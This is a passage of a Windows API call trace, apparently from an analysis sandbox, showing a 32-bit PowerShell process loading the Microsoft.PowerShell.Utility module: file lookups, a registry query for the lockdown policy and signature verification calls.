lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSScheduledJob", lpFilePart=0x0) returned 0x41 [0157.715] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bde090) returned 1 [0157.715] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSScheduledJob" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\psscheduledjob"), fInfoLevelId=0x0, lpFileInformation=0x5bde354 | out: lpFileInformation=0x5bde354*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0157.715] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bde08c) returned 1 [0157.715] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\TroubleshootingPack", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x47 [0157.715] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\TroubleshootingPack", nBufferLength=0x47, lpBuffer=0x62b578, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\TroubleshootingPack", lpFilePart=0x0) returned 0x46 [0157.715] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bde090) returned 1 [0157.715] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\TroubleshootingPack" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\troubleshootingpack"), fInfoLevelId=0x0, lpFileInformation=0x5bde354 | out: lpFileInformation=0x5bde354*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800df312, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1e4bcac7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e4bcac7, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0157.715] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bde08c) returned 1 [0157.716] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bde340) returned 1 [0157.716] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x50 [0157.716] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility", nBufferLength=0x50, lpBuffer=0x62b578, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility", lpFilePart=0x0) returned 0x4f [0157.716] FindFirstFileW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\*", lpFindFileData=0x5bde0f0 | out: lpFindFileData=0x5bde0f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5f63960 [0157.716] FindNextFileW (in: hFindFile=0x5f63960, lpFindFileData=0x5bde0f8 | out: lpFindFileData=0x5bde0f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0157.716] FindNextFileW (in: hFindFile=0x5f63960, lpFindFileData=0x5bde0f8 | out: lpFindFileData=0x5bde0f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e2d1d80, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x8e2d1d80, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0x2f20f74b, ftLastWriteTime.dwHighDateTime=0x1d21d40, nFileSizeHigh=0x0, nFileSizeLow=0x982, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Utility.psd1", cAlternateFileName="")) returned 1 [0157.716] FindNextFileW (in: hFindFile=0x5f63960, lpFindFileData=0x5bde0f8 | out: lpFindFileData=0x5bde0f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e285ac0, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x8e285ac0, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0x2f214576, ftLastWriteTime.dwHighDateTime=0x1d21d40, nFileSizeHigh=0x0, nFileSizeLow=0x7778, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Utility.psm1", cAlternateFileName="")) returned 1 [0157.716] FindNextFileW (in: hFindFile=0x5f63960, lpFindFileData=0x5bde0f8 | out: lpFindFileData=0x5bde0f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e285ac0, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x8e285ac0, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0x2f214576, ftLastWriteTime.dwHighDateTime=0x1d21d40, nFileSizeHigh=0x0, nFileSizeLow=0x7778, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Utility.psm1", cAlternateFileName="")) returned 0 [0157.716] FindClose (in: hFindFile=0x5f63960 | out: hFindFile=0x5f63960) returned 1 [0157.716] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bde0b0) returned 1 [0157.716] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bde310) returned 1 [0157.717] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psd1")) returned 0x20 [0157.717] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0157.717] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x72, lpBuffer=0x62b578, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", lpFilePart=0x0) returned 0x71 [0157.717] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0157.717] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x72, lpBuffer=0x62b578, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", lpFilePart=0x0) returned 0x71 [0157.717] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bde0b8) returned 1 [0157.717] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psd1"), fInfoLevelId=0x0, lpFileInformation=0x223a5f0 | out: lpFileInformation=0x223a5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e2d1d80, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x8e2d1d80, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0x2f20f74b, ftLastWriteTime.dwHighDateTime=0x1d21d40, nFileSizeHigh=0x0, nFileSizeLow=0x982)) returned 1 [0157.717] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bde0b4) returned 1 [0157.717] CoCreateGuid (in: pguid=0x5bde388 | out: pguid=0x5bde388*(Data1=0x94527f9e, Data2=0x99e5, Data3=0x40c1, Data4=([0]=0x8a, [1]=0x7c, [2]=0xca, [3]=0xc9, [4]=0x5, [5]=0xfa, [6]=0x64, [7]=0xc2))) returned 0x0 [0157.717] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x548 [0157.717] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=1, lpName=0x0) returned 0x550 [0157.718] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x55c [0157.718] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x558 [0157.718] SetEvent (hEvent=0x558) returned 1 [0157.718] SetEvent (hEvent=0x548) returned 1 [0157.718] SetEvent (hEvent=0x550) returned 1 [0157.718] SetEvent (hEvent=0x55c) returned 1 [0157.718] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x560 [0157.719] SetThreadUILanguage (LangId=0x0) returned 0x409 [0157.719] EtwEventActivityIdControl () returned 0x0 [0157.720] EtwEventActivityIdControl () returned 0x0 [0157.720] EtwEventActivityIdControl () returned 0x0 [0157.726] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psd1")) returned 0x20 [0157.727] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0157.727] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x72, lpBuffer=0x62b578, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", lpFilePart=0x0) returned 0x71 [0157.727] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bddbb4) returned 1 [0157.728] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psd1"), fInfoLevelId=0x0, lpFileInformation=0x5bdde78 | out: lpFileInformation=0x5bdde78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e2d1d80, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x8e2d1d80, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0x2f20f74b, ftLastWriteTime.dwHighDateTime=0x1d21d40, nFileSizeHigh=0x0, nFileSizeLow=0x982)) returned 1 [0157.728] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bddbb0) returned 1 [0157.728] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psd1")) returned 0x20 [0157.728] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0157.728] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x72, lpBuffer=0x62b578, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", lpFilePart=0x0) returned 0x71 [0157.728] NtQuerySystemInformation (in: SystemInformationClass=0xa4, SystemInformation=0x5bddabc, Length=0x20, ResultLength=0x5bddb2c | out: SystemInformation=0x5bddabc, ResultLength=0x5bddb2c*=0x0) returned 0xc0000003 [0157.728] GetSystemInfo (in: lpSystemInfo=0x5bddb38 | out: lpSystemInfo=0x5bddb38*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5507)) [0157.729] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x5bddac8 | out: phkResult=0x5bddac8*=0x564) returned 0x0 [0157.729] RegQueryValueExW (in: hKey=0x564, lpValueName="__PSLockdownPolicy", lpReserved=0x0, lpType=0x5bddae4, lpData=0x0, lpcbData=0x5bddae0*=0x0 | out: lpType=0x5bddae4*=0x0, lpData=0x0, lpcbData=0x5bddae0*=0x0) returned 0x2 [0157.729] RegCloseKey (hKey=0x564) returned 0x0 [0157.729] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0157.729] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x72, lpBuffer=0x62b578, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", lpFilePart=0x0) returned 0x71 [0157.729] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bdda40) returned 1 [0157.730] CreateFileW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psd1"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x564 [0157.730] GetFileType (hFile=0x564) returned 0x1 [0157.730] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bdda3c) returned 1 [0157.730] GetFileType (hFile=0x564) returned 0x1 [0157.730] SetFilePointer (in: hFile=0x564, lDistanceToMove=0, lpDistanceToMoveHigh=0x5bdda7c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5bdda7c*=0) returned 0x0 [0157.730] ReadFile (in: hFile=0x564, lpBuffer=0x2247ac0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5bddaa8, lpOverlapped=0x0 | out: lpBuffer=0x2247ac0*, lpNumberOfBytesRead=0x5bddaa8*=0x982, lpOverlapped=0x0) returned 1 [0157.732] SetFilePointer (in: hFile=0x564, lDistanceToMove=0, lpDistanceToMoveHigh=0x5bdda7c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5bdda7c*=0) returned 0x982 [0157.732] ReadFile (in: hFile=0x564, lpBuffer=0x2246fe2, nNumberOfBytesToRead=0x27e, lpNumberOfBytesRead=0x5bddaa8, lpOverlapped=0x0 | out: lpBuffer=0x2246fe2*, lpNumberOfBytesRead=0x5bddaa8*=0x0, lpOverlapped=0x0) returned 1 [0157.732] SetFilePointer (in: hFile=0x564, lDistanceToMove=0, lpDistanceToMoveHigh=0x5bdda7c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5bdda7c*=0) returned 0x982 [0157.732] ReadFile (in: hFile=0x564, lpBuffer=0x2247ac0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5bddaa8, lpOverlapped=0x0 | out: lpBuffer=0x2247ac0*, lpNumberOfBytesRead=0x5bddaa8*=0x0, lpOverlapped=0x0) returned 1 [0157.732] NtQuerySystemInformation (in: SystemInformationClass=0xa4, SystemInformation=0x5bdda10, Length=0x20, ResultLength=0x5bdda80 | out: SystemInformation=0x5bdda10, ResultLength=0x5bdda80*=0x0) returned 0xc0000003 [0157.732] GetSystemInfo (in: lpSystemInfo=0x5bdda8c | out: lpSystemInfo=0x5bdda8c*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5507)) [0157.733] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x5bdda1c | out: phkResult=0x5bdda1c*=0x568) returned 0x0 [0157.733] RegQueryValueExW (in: hKey=0x568, lpValueName="__PSLockdownPolicy", lpReserved=0x0, lpType=0x5bdda38, lpData=0x0, lpcbData=0x5bdda34*=0x0 | out: lpType=0x5bdda38*=0x0, lpData=0x0, lpcbData=0x5bdda34*=0x0) returned 0x2 [0157.733] RegCloseKey (hKey=0x568) returned 0x0 [0157.733] CloseHandle (hObject=0x564) returned 1 [0157.734] CoCreateGuid (in: pguid=0x5bddb0c | out: pguid=0x5bddb0c*(Data1=0x2b29e0f9, Data2=0x5828, Data3=0x431a, Data4=([0]=0x8b, [1]=0x3c, [2]=0x6c, [3]=0x22, [4]=0x53, [5]=0xc5, [6]=0x97, [7]=0xf))) returned 0x0 [0157.734] QueryPerformanceCounter (in: lpPerformanceCount=0x5bdd86c | out: lpPerformanceCount=0x5bdd86c*=1179871138255) returned 1 [0157.734] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0157.734] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x72, lpBuffer=0x62b578, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", lpFilePart=0x0) returned 0x71 [0157.734] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bdd558) returned 1 [0157.734] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psd1"), fInfoLevelId=0x0, lpFileInformation=0x5bdd81c | out: lpFileInformation=0x5bdd81c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e2d1d80, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x8e2d1d80, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0x2f20f74b, ftLastWriteTime.dwHighDateTime=0x1d21d40, nFileSizeHigh=0x0, nFileSizeLow=0x982)) returned 1 [0157.735] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bdd554) returned 1 [0157.735] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0157.735] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x72, lpBuffer=0x62b578, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", lpFilePart=0x0) returned 0x71 [0157.735] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0157.735] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x72, lpBuffer=0x62b578, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", lpFilePart=0x0) returned 0x71 [0157.735] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bdd4ec) returned 1 [0157.735] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psd1"), fInfoLevelId=0x0, lpFileInformation=0x5bdd7b0 | out: lpFileInformation=0x5bdd7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e2d1d80, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x8e2d1d80, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0x2f20f74b, ftLastWriteTime.dwHighDateTime=0x1d21d40, nFileSizeHigh=0x0, nFileSizeLow=0x982)) returned 1 [0157.735] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bdd4e8) returned 1 [0157.735] CoTaskMemAlloc (cb=0x10) returned 0x5f71f08 [0157.735] CoTaskMemAlloc (cb=0x10) returned 0x5f71d58 [0157.735] CoTaskMemAlloc (cb=0xe4) returned 0x5c15f8 [0157.735] CoTaskMemAlloc (cb=0x30) returned 0x5aab90 [0157.735] WinVerifyTrust () returned 0x800b0100 [0157.743] CoTaskMemFree (pv=0x5f71f08) [0157.743] CoTaskMemFree (pv=0x5aab90) [0157.743] CryptCATHandleFromStore () returned 0x5ba910 [0157.743] WTHelperGetProvSignerFromChain () returned 0x0 [0157.743] CoTaskMemAlloc (cb=0x10) returned 0x5f71f08 [0157.743] CoTaskMemAlloc (cb=0x30) returned 0x5aab90 [0157.743] WinVerifyTrust () returned 0x0 [0157.743] CoTaskMemFree (pv=0x5aab90) [0157.744] CoTaskMemFree (pv=0x5f71f08) [0157.744] CoTaskMemFree (pv=0x5c15f8) [0157.744] CoTaskMemFree (pv=0x5f71d58) [0157.746] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\en-US\\Microsoft.PowerShell.Utility.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\en-us\\microsoft.powershell.utility.psd1")) returned 0xffffffff [0157.746] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\en\\Microsoft.PowerShell.Utility.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\en\\microsoft.powershell.utility.psd1")) returned 0xffffffff [0157.747] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0157.747] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x72, lpBuffer=0x62b578, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", lpFilePart=0x0) returned 0x71 [0157.747] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x50 [0157.747] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility", nBufferLength=0x50, lpBuffer=0x62b578, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility", lpFilePart=0x0) returned 0x4f [0157.750] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\PSGetModuleInfo.xml", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x64 [0157.750] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\PSGetModuleInfo.xml", nBufferLength=0x64, lpBuffer=0x62b578, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\PSGetModuleInfo.xml", lpFilePart=0x0) returned 0x63 [0157.750] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bdcfa8) returned 1 [0157.751] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\PSGetModuleInfo.xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\psgetmoduleinfo.xml"), fInfoLevelId=0x0, lpFileInformation=0x5bdd26c | out: lpFileInformation=0x5bdd26c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, 